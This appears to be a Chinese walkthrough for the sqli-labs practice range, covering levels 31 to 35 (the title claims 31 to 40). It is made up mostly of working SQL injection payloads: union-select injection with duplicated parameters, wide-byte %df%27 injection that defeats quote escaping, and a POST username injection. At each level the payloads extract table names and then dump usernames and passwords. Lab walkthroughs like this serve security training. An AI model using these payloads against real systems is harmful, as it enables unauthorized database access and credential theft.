sqli-labs靶场通关攻略（31-40）

 Less-31

步骤一：查看数据库名

 ?id=1&id=-1")union select 1,database(),3 --+

步骤二：查看表名

?id=1&id=-1")union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤三：查看users表中列名

?id=1&id=-1")union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

步骤四：查看users表中信息

?id=1&id=-1")union select 1,2,group_concat(id,username,password) from users --+

Less-32

宽字节注入

步骤一：查看数据库名

?id=-1%df%27%20union%20select%201,2,database()--+

步骤二：查看表名

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

步骤三：查看users表中列名

?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+

步骤四：查看users表中信息

?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

Less-33

 步骤一：查看数据库名

?id=-1%df%27%20union%20select%201,2,database()--+

步骤二：查看表名

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

步骤三：查看users表中列名

?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+

步骤四：查看users表中信息

?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

Less-34

步骤一：抓包，发送到重放器

步骤二：查看数据库名

uname=-1%df'union select 1,database()#

步骤三：查看表名

uname=-1%df%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#

步骤四：查看users表中列名

uname=-1%df'union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#

步骤五：查看users表中信息

-1%df'union select 1,group_concat(id,username,password) from users #

Less-35

  步骤一：查看数据库名

?id=-1 union select 1,2,database()--+

步骤二：查看表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

步骤三：查看users表中列名

?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+

步骤四：查看users表中信息

?id=-1 union select 1,group_concat(password,username),3 from users--+